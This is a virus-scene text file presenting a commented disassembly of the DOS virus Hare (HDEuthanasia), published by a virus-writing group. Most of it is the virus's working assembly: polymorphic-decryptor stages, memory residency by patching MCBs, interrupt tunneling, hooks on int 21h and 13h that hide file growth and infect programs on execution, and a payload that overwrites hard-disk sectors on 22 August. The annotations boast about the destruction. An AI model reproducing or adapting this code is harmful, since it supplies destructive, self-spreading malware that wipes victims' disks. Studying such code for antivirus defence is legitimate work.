home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CCTX0497.ZIP / VBBUPDT2.ZIP / VBB-4.ZIP / VBB-4.002 < prev    next >
Text File  |  1996-12-24  |  260KB  |  4,770 lines

  1. ---------------------------------------------
  2.   Hare (alias HDEuthanasia) disassembly
  3.   Published by Phardera [VBB]
  4.   e-mail: phardera@hotmail.com
  5. ---------------------------------------------
  6.  
  7. Hello all....
  8. This virus was published in VBB #3.
  9. ..and now I am present to you a list of this virus (I hope!).
  10.  
  11.  
  12. ; - HARE.LST -------->>>> CUT HERE <<<<-------------------------------------
  13.  
  14. comment~
  15. =======================================================
  16. ==  List of Hare {3}                                 ==
  17. ==  Disassembly and Analysis by Phardera [VBB]       ==
  18. ==  Published by Virus Bits & Bytes                  ==
  19. ==  Tools: - Borland's Turbo Debugger                ==
  20. ==         - Sourcer                                 ==
  21. ==                                                   ==
  22. ==  Greetings to:                                    ==
  23. ==        - Demon Emperor (where are you?)           ==
  24. ==        - Dianita DSR. (in Jakarta, Indonesia)     ==
  25. ==        - All VBB Members (in the world)           ==
  26. ==                                                   ==
  27. ==                                                   ==
  28. ==  BTW: My comments start by ;---- and ;//          ==
  29. ==                                                   ==
  30. =======================================================
  31. ~
  32.  
  33.         .err     Re-assembly not recommended
  34.  
  35.  
  36.         ; The following equates show data references outside the range of the program.
  37.  
  38. 002C    data_1e         equ     2Ch                     ; (0000:002C=6Fh)
  39. 004C    data_2e         equ     4Ch                     ; (0000:004C=774h)
  40. 004E    data_3e         equ     4Eh                     ; (0000:004E=70h)
  41. 006C    data_4e         equ     6Ch                     ; (0000:006C=6EEh)
  42. 006E    data_5e         equ     6Eh                     ; (0000:006E=70h)
  43. 0070    data_6e         equ     70h                     ; (0000:0070=0FF53h)
  44. 0072    data_7e         equ     72h                     ; (0000:0072=0F000h)
  45. 0078    data_8e         equ     78h                     ; (0000:0078=522h)
  46. 0084    data_9e         equ     84h                     ; (0000:0084=109Eh)
  47. 0086    data_10e        equ     86h                     ; (0000:0086=116h)
  48. 008A    data_11e        equ     8Ah                     ; (0000:008A=1336h)
  49. 0090    data_12e        equ     90h                     ; (0000:0090=155h)
  50. 0092    data_13e        equ     92h                     ; (0000:0092=1336h)
  51. 00A0    data_14e        equ     0A0h                    ; (0000:00A0=10DAh)
  52. 00A2    data_15e        equ     0A2h                    ; (0000:00A2=116h)
  53. 0100    data_16e        equ     100h                    ; (0000:0100=59h)
  54. 018C    data_17e        equ     18Ch                    ; (0000:018C=0)
  55. 0413    data_18e        equ     413h                    ; (0000:0413=280h)
  56. 041A    data_19e        equ     41Ah                    ; (0000:041A=30h)
  57. 041C    data_20e        equ     41Ch                    ; (0000:041C=30h)
  58. 043F    data_21e        equ     43Fh                    ; (0000:043F=0)
  59. 048E    data_22e        equ     48Eh                    ; (0000:048E=0)
  60. 7C00    data_23e        equ     7C00h                   ; (0000:7C00=2)
  61. 7DBE    data_24e        equ     7DBEh                   ; (0000:7DBE=32h)
  62. 0000    data_25e        equ     0                       ; (1336:0000=20CDh)
  63. 0008    data_26e        equ     8                       ; (2ABF:0008=46h)
  64. 0000    data_27e        equ     0                       ; (72E0:0000=0FFh)
  65. 0003    data_28e        equ     3                       ; (72E0:0003=0FFFFh)
  66. 1E77    data_163e       equ     1E77h                   ; (9804:1E77=0)
  67. 1E78    data_164e       equ     1E78h                   ; (9804:1E78=0)
  68. 1E7A    data_165e       equ     1E7Ah                   ; (9804:1E7A=0)
  69. 1E7E    data_166e       equ     1E7Eh                   ; (9804:1E7E=0)
  70. 1E80    data_168e       equ     1E80h                   ; (9804:1E80=0)
  71. 1E82    data_169e       equ     1E82h                   ; (9804:1E82=0)
  72. 1F6A    data_170e       equ     1F6Ah                   ; (9804:1F6A=0)
  73. 1F6C    data_171e       equ     1F6Ch                   ; (9804:1F6C=0)
  74. 2000    data_172e       equ     2000h                   ; (9804:2000=0)
  75. 2028    data_173e       equ     2028h                   ; (9804:2028=0)
  76. 206A    data_174e       equ     206Ah                   ; (9804:206A=0)
  77. 20BA    data_175e       equ     20BAh                   ; (9804:20BA=0)
  78. 7C00    data_176e       equ     7C00h                   ; (9804:7C00=0)
  79.  
  80.         seg_a           segment byte public
  81.                         assume  cs:seg_a, ds:seg_a
  82.  
  83.  
  84.                         org     0
  85.  
  86.         hare            proc    far
  87.  
  88. 0000    start:
  89. 0000                    mov     si,9
  90. 0003                    cld                             ; Clear direction
  91. 0004                    sti                             ; Enable interrupts
  92. 0005                    mov     cx,0F2Ch
  93. 0008   ,                mov     di,14h                  ; (9804:0014=0B8h)
  94. 000B                    add     di,si
  95.  
  96. ;--------------------- Decryptor 1/2 (after polymorphic decryptor)
  97. 000D    locloop_3:                                      ;  xref 9804:0012
  98. 000D                    not     word ptr cs:[di]
  99. 0010                    inc     di
  100. 0011                    inc     di
  101. 0012                    loop    locloop_3               ; Loop if cx > 0
  102.  
  103. 0014                    mov     ax,0FE23h               ;// ID = 0FE23h
  104. 0017                    int     21h                     ;// Check virus in memory       
  105. 0019                    cmp     ax,0Dh                  ;// Virus already in memory?
  106. 001C                    push    si
  107. 001D                    push    ds
  108. 001E                    jnz     loc_4                   ;// NO! Lets fuck!
  109. 0020                    jmp     loc_11                  ;// Restore header file (010F)
  110. 0023    loc_4:                                          ;  xref 9804:001E
  111. 0023                    mov     al,0A9h
  112. 0025                    or      al,al                   ; Zero ?
  113. 0027                    jz      loc_6                   ; Jump if zero
  114. 0029                    mov     ah,al
  115. 002B                    add     ah,1
  116. 002E                    mov     cx,0E65h
  117. 0031   ,                mov     di,1A2h                 ; (9804:01A2=50h)
  118. 0034                    add     di,si
  119.  
  120. ;--------------------- Decryptor 2/2 ------------------------------
  121. 0036    locloop_5:                                      ;  xref 9804:0040
  122. 0036                    xor     cs:[di],ax
  123. 0039                    inc     di
  124. 003A                    inc     di
  125. 003B                    add     al,2
  126. 003D                    add     ah,2
  127. 0040                    loop    locloop_5               ; Loop if cx > 0
  128.  
  129. ;-------------------- Fuck memory size --------------------
  130. 0042    loc_6:                                          ;  xref 9804:0027
  131. 0042                    int     12h                     ; Put (memory size)/1K in ax
  132. 0044                    mov     cl,6
  133. 0046                    shl     ax,cl                   ; Shift w/zeros fill
  134. 0048                    dec     ax
  135. 0049                    mov     es,ax
  136. 004B                    cmp     word ptr es:data_26e,4353h ; (2ABF:0008=46h)
  137. 0052                    je      loc_8                   ; Jump if equal
  138. 0054    loc_7:                                          ;  xref 9804:0078
  139. 0054                    mov     ah,52h
  140. 0056                    int     21h                     ; DOS Services  ah=function 52h
  141.                                                         ;  get DOS data table ptr es:bx
  142. ;-------------------- Fuck MCB ---------------------------------------
  143. 0058                    mov     ax,es:[bx-2]
  144. 005C    loc_8:                                          ;  xref 9804:0052, 006F
  145. 005C   ,                mov     es,ax
  146. 005E                    cmp     byte ptr es:data_27e,5Ah ; (72E0:0000=0FFh) 'Z'
  147. 0064                    je      loc_9                   ; Jump if equal
  148. 0066                    mov     ax,es:data_28e          ; (72E0:0003=0FFFFh)
  149. 006A                    inc     ax
  150. 006B                    mov     bx,es
  151. 006D                    add     ax,bx
  152. 006F                    jmp     short loc_8             ; (005C)
  153. 0071    loc_9:                                          ;  xref 9804:0064
  154. 0071                    mov     ax,es:data_28e          ; (72E0:0003=0FFFFh)
  155. 0075                    sub     ax,22Dh
  156. 0078                    jc      loc_7                   ; Jump if carry Set
  157. 007A                    mov     es:data_28e,ax          ; (72E0:0003=0FFFFh)
  158. 007E                    inc     ax
  159. 007F                    mov     bx,es
  160. 0081                    add     ax,bx
  161. 0083                    mov     es,ax
  162. 0085                    pop     ds
  163. 0086                    pop     si
  164. 0087                    push    si
  165. 0088                    push    ds
  166. 0089                    push    cs
  167. 008A                    pop     ds
  168.  
  169. ;--------------- Copy virus to memory ---------------------------------
  170. 008B                    mov     cx,1E6Ah                ;// Size
  171. 008E                    xor     di,di                   ; Zero register
  172. 0090                    cld                             ; Clear direction
  173. 0091                    rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  174. 0093                    push    es
  175. 0094                    mov     ax,99h
  176. 0097                    push    ax
  177. 0098                    retf                            ;// GOTO CS:0099h
  178.  
  179. 0099                    mov     cs:data_59,cl           ; (9804:018C=4)
  180. 009E                    mov     ax,160Ah
  181. 00A1                    int     2Fh                     ; ??int non-standard interrupt
  182. 00A3                    or      ax,ax                   ; Zero ?
  183. 00A5                    jnz     loc_10                  ; Jump if not zero
  184. 00A7                    cmp     cx,3
  185. 00AA                    jb      loc_10                  ; Jump if below
  186. 00AC                    or      byte ptr cs:data_59,80h ; (9804:018C=4)
  187. 00B2    loc_10:                                         ;  xref 9804:00A5, 00AA
  188. 00B2                    call    sub_20                  ; (08D0)
  189. 00B5                    call    sub_48                  ; (1379)
  190. 00B8                    push    cs
  191. 00B9                    pop     ds
  192. 00BA                    mov     ah,52h
  193. 00BC                    int     21h                     ; DOS Services  ah=function 52h
  194.                                                         ;  get DOS data table ptr es:bx
  195.  
  196. ;----------- Fuck Interrupt for Virus ---------------------
  197. 00BE                    mov     ax,es:[bx-2]
  198. 00C2                    mov     data_53,ax              ; (9804:0182=206h)
  199. 00C5                    mov     byte ptr data_62,19h    ; (9804:0191=0)
  200. 00CA                    mov     byte ptr data_55,0      ; (9804:0185=0)
  201. 00CF                    mov     byte ptr data_54,1      ; (9804:0184=0)
  202. 00D4                    mov     ax,3521h
  203. 00D7                    int     21h                     ; DOS Services  ah=function 35h
  204.                                                         ;  get intrpt vector al in es:bx
  205. 00D9                    mov     data_39,bx              ; (9804:0164=4A0h)
  206. 00DD                    mov     word ptr data_39+2,es   ; (9804:0166=315h)
  207. 00E1                    mov     data_51,bx              ; (9804:017E=61F7h)
  208. 00E5                    mov     word ptr data_51+2,es   ; (9804:0180=2099h)
  209. 00E9                    call    sub_2                   ;// Tunneling int 21h (01F6)
  210. 00EC                    cld                             ; Clear direction
  211. 00ED   ,                mov     si,offset data_51       ; (9804:017E=0F7h)
  212. 00F0   ,                mov     di,160h                 ; (9804:0160=0B2h)
  213. 00F3                    movsw                           ; Mov [si] to es:[di]
  214. 00F4                    movsw                           ; Mov [si] to es:[di]
  215. 00F5                    xor     ax,ax                   ; Zero register
  216. 00F7                    mov     ds,ax
  217. 00F9                    mov     word ptr ds:data_9e,388h ; (0000:0084=109Eh)
  218. 00FF                    mov     ds:data_10e,cs          ; (0000:0086=116h)
  219. 0103                    call    sub_57                  ;// Trap int 13h (1827)
  220. 0106                    call    sub_16                  ;// Pay load! (0778)
  221. 0109                    pop     es
  222. 010A                    pop     si
  223. 010B                    xor     si,si                   ; Zero register
  224. 010D                    push    si
  225. 010E                    push    es
  226.  
  227. ;------------------- Restore header file --------------------------
  228. 010F    loc_11:                                         ;  xref 9804:0020
  229. 010F                    pop     es
  230. 0110                    pop     si
  231. 0111                    push    es
  232. 0112                    pop     ds
  233. 0113                    push    ds
  234. 0114                    cmp     byte ptr cs:data_48[si],1 ;// EXE? (9804:0179=1)
  235. 011A                    je      $+15h                     ;// Yup! goto CS:012FH
  236.  
  237. ;----------- COM --------------------------------
  238. 011C   ,                add     si,offset data_42       ; (9804:016B=10h)
  239. 0120   ,                mov     di,data_16e             ; (0000:0100=59h)
  240. 0123                    push    di
  241. 0124                    cld                             ; Clear direction
  242. 0125                    push    cs
  243. 0126                    pop     ds
  244. 0127                    movsw                           ; Mov [si] to es:[di]
  245. 0128                    movsb                           ; Mov [si] to es:[di]
  246. 0129                    push    es
  247. 012A                    pop     ds
  248. 012B                    call    sub_1                   ;// Registers to zero (0192)
  249. 012E                    retf                            ; Return far
  250.  
  251. ;----------- EXE --------------------------------
  252. 012F                    mov     ax,cs:data_43[si]       ; (9804:016D=47h)
  253. 0134                    pop     bx
  254. 0135                    add     bx,10h
  255. 0138                    add     ax,bx
  256. 013A                    mov     word ptr cs:[15Eh][si],ax ; (9804:015E=0BF2h)
  257. 013F                    mov     ax,cs:data_42[si]       ; (9804:016B=10h)
  258. 0144                    mov     word ptr cs:[15Ch][si],ax ; (9804:015C=0BBh)
  259. 0149                    add     word ptr cs:[171h][si],bx ; (9804:0171=411h)
  260. 014E                    call    sub_1                   ;// Registers to zero (0192)
  261. 0151                    mov     ss,word ptr cs:[171h][si] ; (9804:0171=411h)
  262. 0156                    mov     sp,word ptr cs:[16Fh][si] ; (9804:016F=1400h)
  263. 015B                    jmp     far ptr $-0A0h
  264.  
  265. ;----------------- CS:015Eh......   the real header
  266. 0160                    mov     dl,0Fh
  267. 0162                    db      0C9h, 00h
  268. 0164    data_39         dw      4A0h, 315h              ;  xref 9804:00D9, 0306, 03D6, 17B3
  269. 0168    data_41         db      90h                     ;  xref 9804:063F
  270. 0169                    db       90h, 90h
  271. 016B    data_42         dw      10h                     ; Data table (indexed access)
  272.                                                         ;  xref 9804:011C, 013F, 04F6
  273. 016D    data_43         dw      47h                     ; Data table (indexed access)
  274.                                                         ;  xref 9804:012F
  275. 016F                    dw      1400h                   ; Data table (indexed access)
  276. 0171    data_44         db      11h                     ; Data table (indexed access)
  277.                                                         ;  xref 9804:0149, 0151, 0501
  278. 0172                    db      4
  279. 0173    data_45         dw      9                       ;  xref 9804:051E
  280. 0175    data_46         dw      24h                     ;  xref 9804:0524
  281. 0177    data_47         dw      61F7h                   ;  xref 9804:0518
  282. 0179    data_48         db      1                       ; Data table (indexed access)
  283.                                                         ;  xref 9804:0114, 050B, 05F1, 0AE1
  284.                                                         ;            0D23, 0F3B, 134D
  285. 017A    data_49         dw      1E73h, 400h             ;  xref 9804:01FB, 0223, 0544, 0552
  286.                                                         ;            0599, 05C2, 05CB
  287. 017E    data_51         dw      61F7h, 2099h            ;  xref 9804:00E1, 00ED, 01DE, 0218
  288.                                                         ;            0459, 04A5, 04AC, 0515
  289.                                                         ;            066F, 067D, 1049, 1183
  290.                                                         ;            1259, 12A3, 12AA, 1962
  291.                                                         ;            196E
  292. 0182    data_53         dw      206h                    ;  xref 9804:00C2, 01C2, 194D
  293. 0184    data_54         db      0                       ;  xref 9804:00CF, 01C9, 01D1, 1958
  294. 0185    data_55         db      0                       ;  xref 9804:00CA, 01E6, 01EF, 0249
  295.                                                         ;            1953
  296. 0186   ,data_56         dw      0                       ; segment storage
  297.                                                         ;  xref 9804:01AE, 01B3, 0691, 06A2
  298. 0188    data_57         dd      00000h                  ;  xref 9804:16FE, 177F, 17A2
  299. 018C    data_59         db      4                       ;  xref 9804:0099, 00AC, 030F, 03DB
  300.                                                         ;            047E, 06EF, 0A87, 0C68
  301.                                                         ;            0C8F, 0D2F, 0D35, 0DAD
  302.                                                         ;            0E29, 124E, 1346, 13F5
  303.                                                         ;            1543, 1567, 1570, 1835
  304.                                                         ;            1869, 1876, 1CBD, 1E23
  305. 018D    data_60         dw      0A17h                   ;  xref 9804:02D4, 02EF
  306. 018F    data_61         dw      114Bh                   ;  xref 9804:02E7, 02FE
  307. 0191    data_62         db      0                       ;  xref 9804:00C5, 0213, 02DB, 02F4
  308.                                                         ;            1948
  309.  
  310.         hare            endp
  311.  
  312.         ;==========================================================================
  313.         ;                              SUBROUTINE
  314.         ;
  315.         ;         Called from:   9804:012B, 014E
  316.         ;==========================================================================
  317.  
  318. ;------------- Clear registers -------------------------------
  319. 0192    sub_1           proc    near
  320. 0192                    xor     ax,ax                   ; Zero register
  321. 0194   ,                push    ax
  322. 0195                    popf                            ; Pop flags
  323. 0196                    sti                             ; Enable interrupts
  324. 0197                    mov     cx,ax
  325. 0199                    mov     di,ax
  326. 019B                    mov     bp,ax
  327. 019D                    mov     dx,ax
  328. 019F                    mov     bx,ax
  329. 01A1                    retn
  330.         sub_1           endp
  331.  
  332.  
  333.         ;==========================================================================
  334.         ;
  335.         ;                       External Entry Point
  336.         ;
  337.         ;==========================================================================
  338.  
  339. ;--------------- Tracing Interrupt -----------------------------
  340. 01A2    int_01h_entry   proc    far                     ;  xref 9804:0203
  341. 01A2                    push    ax
  342. 01A3                    push    bx
  343. 01A4                    push    bp
  344. 01A5                    push    ds
  345. 01A6                    mov     bp,sp
  346. 01A8                    mov     ax,[bp+0Ah]
  347. 01AB                    mov     bx,[bp+8]
  348. 01AE                    mov     cs:data_56,cs           ; (9804:0186=9804h)
  349. 01B3                    cmp     ax,cs:data_56           ; (9804:0186=9804h)
  350. 01B8                    je      loc_13                  ; Jump if equal
  351. 01BA                    call    sub_3                   ; (0231)
  352. 01BD                    cmp     ax,0F000h
  353. 01C0                    jae     loc_12                  ; Jump if above or =
  354. 01C2                    cmp     ax,cs:data_53           ; (9804:0182=206h)
  355. 01C7                    ja      loc_13                  ; Jump if above
  356. 01C9    loc_12:                                         ;  xref 9804:01C0
  357. 01C9                    and     cs:data_54,1            ; (9804:0184=0)
  358. 01CF                    jz      loc_13                  ; Jump if zero
  359. 01D1                    mov     cs:data_54,0            ; (9804:0184=0)
  360. 01D7                    mov     word ptr cs:data_51+2,ax ; (9804:0180=2099h)
  361. 01DB                    mov     ax,[bp+8]
  362. 01DE                    mov     cs:data_51,ax           ; (9804:017E=61F7h)
  363. 01E2    loc_13:                                         ;  xref 9804:01B8, 01C7, 01CF
  364. 01E2                    pop     ds
  365. 01E3                    pop     bp
  366. 01E4                    pop     bx
  367. 01E5                    pop     ax
  368. 01E6                    cmp     cs:data_55,1            ; (9804:0185=0)
  369. 01EC                    je      loc_14                  ; Jump if equal
  370. 01EE                    iret                            ; Interrupt return
  371.         int_01h_entry   endp
  372.  
  373. 01EF    loc_14:                                         ;  xref 9804:01EC
  374. 01EF                    mov     cs:data_55,0            ; (9804:0185=0)
  375. 01F5                    retf                            ; Return far
  376.  
  377.         ;==========================================================================
  378.         ;                              SUBROUTINE
  379.         ;
  380.         ;         Called from:   9804:00E9, 196A
  381.         ;==========================================================================
  382.  
  383. ;-----------------  Tunneling Interrupt -------------------------------
  384. 01F6    sub_2           proc    near
  385. 01F6                    mov     ax,3501h                ;// Int 1 (Single step)
  386. 01F9                    int     21h                     ; DOS Services  ah=function 35h
  387.                                                         ;  get intrpt vector al in es:bx
  388. 01FB                    mov     data_49,bx              ; (9804:017A=1E73h)
  389. 01FF                    mov     word ptr data_49+2,es   ; (9804:017C=400h)
  390. 0203   ,                mov     dx,offset int_01h_entry ;// If TF On!
  391. 0206                    mov     ah,25h
  392. 0208                    int     21h                     ; DOS Services  ah=function 25h
  393.                                                         ;  set intrpt vector al to ds:dx
  394. 020A                    xor     dl,dl                   ; Zero register
  395. 020C                    pushf                           ; Push flags
  396. 020D                    pop     ax
  397. 020E                    or      ax,100h                 ;// Set TF On
  398. 0211                    push    ax
  399. 0212                    popf                            ;// Call Int 1
  400. 0213                    mov     ah,data_62              ; (9804:0191=0)
  401. 0217                    pushf                           ; Push flags
  402. 0218                    call    dword ptr data_51       ; (9804:017E=61F7h)
  403. 021C                    pushf                           ; Push flags
  404. 021D                    pop     ax
  405. 021E                    and     ax,0FEFFh
  406. 0221                    push    ax
  407. 0222                    popf                            ; Pop flags
  408. 0223                    lds     dx,dword ptr data_49    ; (9804:017A=1E73h) Load seg:offset pt
  409. 0227                    mov     ax,2501h
  410. 022A                    int     21h                     ; DOS Services  ah=function 25h
  411.                                                         ;  set intrpt vector al to ds:dx
  412. 022C                    push    cs
  413. 022D                    push    cs
  414. 022E                    pop     es
  415. 022F                    pop     ds
  416. 0230                    retn
  417.         sub_2           endp
  418.  
  419.  
  420.         ;==========================================================================
  421.         ;                              SUBROUTINE
  422.         ;
  423.         ;         Called from:   9804:01BA
  424.         ;==========================================================================
  425.  
  426. 0231    sub_3           proc    near
  427. 0231                    push    ax
  428. 0232                    mov     ds,ax
  429. 0234                    mov     al,[bx]
  430. 0236                    cmp     al,9Dh
  431. 0238                    jne     loc_15                  ; Jump if not equal
  432. 023A                    or      word ptr [bp+0Ch],100h
  433. 023F                    jmp     short loc_16            ; (024F)
  434. 0241                    nop
  435. 0242    loc_15:                                         ;  xref 9804:0238
  436. 0242                    cmp     al,9Ch
  437. 0244                    jne     loc_16                  ; Jump if not equal
  438. 0246                    inc     word ptr [bp+8]
  439. 0249                    mov     cs:data_55,1            ; (9804:0185=0)
  440. 024F    loc_16:                                         ;  xref 9804:023F, 0244
  441. 024F                    pop     ax
  442. 0250                    retn
  443.         sub_3           endp
  444.  
  445.  
  446.         ;==========================================================================
  447.         ;                              SUBROUTINE
  448.         ;
  449.         ;         Called from:   9804:16F4
  450.         ;==========================================================================
  451.  
  452. ;----------------- Pay load & destroyer!  --------------------------------
  453. 0251    sub_4           proc    near
  454. 0251                    mov     ah,4
  455. 0253                    int     1Ah                     ; Real time clock   ah=func 04h
  456.                                                         ;  get date  cx=year, dx=mon/day
  457. 0255                    test    dh,8                    ;// August
  458. 0258                    jz      loc_ret_17              ; Jump if zero
  459. 025A                    cmp     dl,22h                  ;// 22 
  460. 025D                    je      loc_18                  ; Jump if equal
  461.  
  462. 025F    loc_ret_17:                                     ;  xref 9804:0258
  463. 025F                    retn
  464. 0260    loc_18:                                         ;  xref 9804:025D
  465. 0260                    mov     ax,3
  466. 0263                    int     10h                     ; Video display   ah=functn 00h
  467.                                                         ;  set display mode in al
  468. 0265   ,                mov     si,offset data_156      ; (9804:1E2D='"HDEuthanasia-v3')
  469. 0268                    mov     bh,0
  470. 026A                    mov     cx,3Dh
  471.  
  472. 026D    locloop_19:                                     ;  xref 9804:0272
  473. 026D                    lodsb                           ; String [si] to al
  474. 026E                    mov     ah,0Eh
  475. 0270                    int     10h                     ; Video display   ah=functn 0Eh
  476.                                                         ;  write char al, teletype mode
  477. 0272                    loop    locloop_19              ; Loop if cx > 0
  478.  
  479. ;--------------- Oh no...fucking your HD -------------------
  480. 0274                    mov     dl,80h
  481. 0276    loc_20:                                         ;  xref 9804:02C3
  482. 0276   ,                mov     bh,dl
  483. 0278                    xor     dl,1
  484. 027B                    mov     ah,8
  485. 027D                    int     13h                     ; Disk  dl=drive 1  ah=func 08h
  486.                                                         ;  get drive parameters, bl=type
  487.                                                         ;   cx=cylinders, dh=max heads
  488. 027F                    and     cl,3Fh                  ; '?'
  489. 0282                    mov     al,cl
  490. 0284                    mov     ah,3                    ;// AH=3 --> Write!
  491. 0286                    push    ax
  492. 0287                    mov     dl,bh
  493. 0289                    mov     ah,8
  494. 028B                    int     13h                     ; Disk  dl=drive 0  ah=func 08h
  495.                                                         ;  get drive parameters, bl=type
  496.                                                         ;   cx=cylinders, dh=max heads
  497. 028D                    and     cl,3Fh                  ; '?'
  498. 0290                    mov     al,cl
  499. 0292                    mov     ah,3                    ;// AH=3 --> Write!
  500. 0294                    mov     dl,bh
  501. 0296                    mov     cx,101h
  502. 0299                    push    ax
  503. 029A                    mov     bp,sp
  504. 029C    loc_21:                                         ;  xref 9804:02B6, 02BB
  505. 029C                    push    dx
  506. 029D    loc_22:                                         ;  xref 9804:02B1
  507. 029D                    test    dl,1
  508. 02A0                    jnz     loc_23                  ; Jump if not zero
  509. 02A2                    mov     ax,[bp]                 ;// AH=3 --> Write!
  510. 02A5                    jmp     short loc_24            ; (02AA)
  511. 02A7    loc_23:                                         ;  xref 9804:02A0
  512. 02A7                    mov     ax,[bp+2]               ;// AH=3 --> Write!
  513. 02AA    loc_24:                                         ;  xref 9804:02A5
  514. 02AA                    int     13h                     ; ??int non-standard interrupt
  515. 02AC                    xor     dl,1
  516. 02AF                    dec     dh
  517. 02B1                    jnz     loc_22                  ; Jump if not zero
  518. 02B3                    pop     dx
  519. 02B4                    inc     ch
  520. 02B6                    jnz     loc_21                  ; Jump if not zero
  521. 02B8                    add     cl,40h                  ; '@'
  522. 02BB                    jnc     loc_21                  ; Jump if carry=0
  523. 02BD                    add     dl,2
  524. 02C0                    add     sp,4
  525. 02C3                    jmp     short loc_20            ; (0276)
  526.         sub_4           endp
  527.  
  528.  
  529.         ;==========================================================================
  530.         ;                              SUBROUTINE
  531.         ;
  532.         ;         Called from:   9804:02D0, 02E4, 02FB, 031D, 03EA, 040F, 0452
  533.         ;                             046C, 04B4, 054F, 0572, 05DF, 05ED, 060C
  534.         ;                             0622, 065A, 0665, 066C, 0687, 068E, 069B
  535.         ;                             06A7, 07CE, 0A40, 0E67, 1016, 1041, 1069
  536.         ;                             10A2, 10B8, 113A, 1145, 11AC, 11B7, 11BF
  537.         ;                             11C6, 126F, 1280, 12B4
  538.         ;==========================================================================
  539.  
  540. 02C5    sub_5           proc    near
  541. 02C5                    pushf                           ; Push flags
  542. 02C6                    call    dword ptr cs:[160h]     ; (9804:0160=0FB2h)
  543. 02CB                    retn
  544.         sub_5           endp
  545.  
  546. 02CC    loc_25:                                         ;  xref 9804:0393
  547. 02CC   ,                push    bx
  548. 02CD                    push    ax
  549. 02CE                    mov     ah,62h                  ; 'b'
  550. 02D0                    call    sub_5                   ; (02C5)
  551. 02D3                    pop     ax
  552. 02D4                    cmp     cs:data_60,bx           ; (9804:018D=0A17h)
  553. 02D9                    jne     loc_26                  ; Jump if not equal
  554. 02DB                    cmp     cs:data_62,dl           ; (9804:0191=0)
  555. 02E0                    jne     loc_26                  ; Jump if not equal
  556. 02E2                    pop     bx
  557. 02E3                    popf                            ; Pop flags
  558. 02E4                    call    sub_5                   ; (02C5)
  559. 02E7                    mov     bx,cs:data_61           ; (9804:018F=114Bh)
  560. 02EC                    retf    2                       ; Return far
  561. 02EF    loc_26:                                         ;  xref 9804:02D9, 02E0
  562. 02EF                    mov     cs:data_60,bx           ; (9804:018D=0A17h)
  563. 02F4                    mov     cs:data_62,dl           ; (9804:0191=0)
  564. 02F9                    pop     bx
  565. 02FA                    popf                            ; Pop flags
  566. 02FB                    call    sub_5                   ; (02C5)
  567. 02FE                    mov     cs:data_61,bx           ; (9804:018F=114Bh)
  568. 0303                    retf    2                       ; Return far
  569.  
  570. ;--------------- Dir Stealth ----------------------------------
  571. 0306    loc_27:                                         ;  xref 9804:037E
  572. 0306                    call    dword ptr cs:data_39    ; (9804:0164=4A0h)
  573. 030B                    pushf                           ; Push flags
  574. 030C                    push    ax
  575. 030D                    push    bx
  576. 030E                    push    es
  577. 030F                    test    cs:data_59,2            ; (9804:018C=4)
  578. 0315                    jnz     loc_31                  ; Jump if not zero
  579. 0317                    or      al,al                   ; Zero ?
  580. 0319                    jnz     loc_31                  ; Jump if not zero
  581. 031B                    mov     ah,2Fh                  ; '/'
  582. 031D                    call    sub_5                   ; (02C5)
  583. 0320                    cmp     byte ptr cs:[380h],40h  ; (9804:0380=4Eh) '@'
  584. 0326                    ja      loc_29                  ; Jump if above
  585. 0328                    or      word ptr es:[bx+26h],0
  586. 032D                    jnz     loc_28                  ; Jump if not zero
  587. 032F                    cmp     word ptr es:[bx+24h],1E9Ch
  588. 0335                    jb      loc_31                  ; Jump if below
  589. 0337    loc_28:                                         ;  xref 9804:032D
  590. 0337                    mov     ax,es:[bx+1Eh]
  591. 033B                    and     al,1Fh
  592. 033D                    cmp     al,11h
  593. 033F                    jne     loc_31                  ; Jump if not equal
  594. 0341                    sub     word ptr es:[bx+24h],1EB0h
  595. 0347                    sbb     word ptr es:[bx+26h],0
  596. 034C                    jmp     short loc_31            ; (0372)
  597. 034E    loc_29:                                         ;  xref 9804:0326
  598. 034E                    or      word ptr es:[bx+1Ch],0
  599. 0353                    jnz     loc_30                  ; Jump if not zero
  600. 0355                    cmp     word ptr es:[bx+1Ah],1E9Ch
  601. 035B                    jb      loc_31                  ; Jump if below
  602. 035D    loc_30:                                         ;  xref 9804:0353
  603. 035D                    mov     ax,es:[bx+16h]
  604. 0361                    and     al,1Fh
  605. 0363                    cmp     al,11h
  606. 0365                    jne     loc_31                  ; Jump if not equal
  607. 0367                    sub     word ptr es:[bx+1Ah],1EB0h
  608. 036D                    sbb     word ptr es:[bx+1Ch],0
  609. 0372    loc_31:                                         ;  xref 9804:0315, 0319, 0335, 033F
  610.                                                         ;            034C, 035B, 0365
  611. 0372                    pop     es
  612. 0373                    pop     bx
  613. 0374                    pop     ax
  614. 0375                    popf                            ; Pop flags
  615. 0376                    retf    2                       ; Return far
  616. 0379    loc_32:                                         ;  xref 9804:03B0, 03B5, 03BA, 03BF
  617. 0379                    mov     byte ptr cs:[380h],ah   ; (9804:0380=4Eh)
  618. 037E                    jmp     short loc_27            ; (0306)
  619. 0380                    dec     si
  620. 0381    loc_33:                                         ;  xref 9804:038C
  621. 0381                    mov     ax,0Dh
  622. 0384                    popf                            ; Pop flags
  623. 0385                    retf    2                       ; Return far
  624. 0388                    pushf                           ; Push flags
  625.  
  626. ;---------------- Trap Int 21h -------------------------------------------
  627. 0389                    cmp     ax,0FE23h
  628. 038C                    je      loc_33                  ; Jump if equal
  629. 038E                    cmp     ah,36h                  ; '6'
  630. 0391                    jne     loc_34                  ; Jump if not equal
  631. 0393                    jmp     loc_25                  ; (02CC)
  632. 0396    loc_34:                                         ;  xref 9804:0391
  633. 0396                    cmp     ah,4Ch                  ; 'L'
  634. 0399                    je      loc_38                  ; Jump if equal
  635. 039B                    cmp     ah,31h                  ; '1'
  636. 039E                    je      loc_38                  ; Jump if equal
  637. 03A0                    cmp     ah,0
  638. 03A3                    je      loc_38                  ; Jump if equal
  639. 03A5                    cmp     ax,4B00h
  640. 03A8                    jne     loc_35                  ; Jump if not equal
  641. 03AA                    call    sub_6                   ; (0426)
  642. 03AD    loc_35:                                         ;  xref 9804:03A8
  643. 03AD                    cmp     ah,11h
  644. 03B0                    je      loc_32                  ; Jump if equal
  645. 03B2                    cmp     ah,12h
  646. 03B5                    je      loc_32                  ; Jump if equal
  647. 03B7                    cmp     ah,4Eh                  ; 'N'
  648. 03BA                    je      loc_32                  ; Jump if equal
  649. 03BC                    cmp     ah,4Fh                  ; 'O'
  650. 03BF                    je      loc_32                  ; Jump if equal
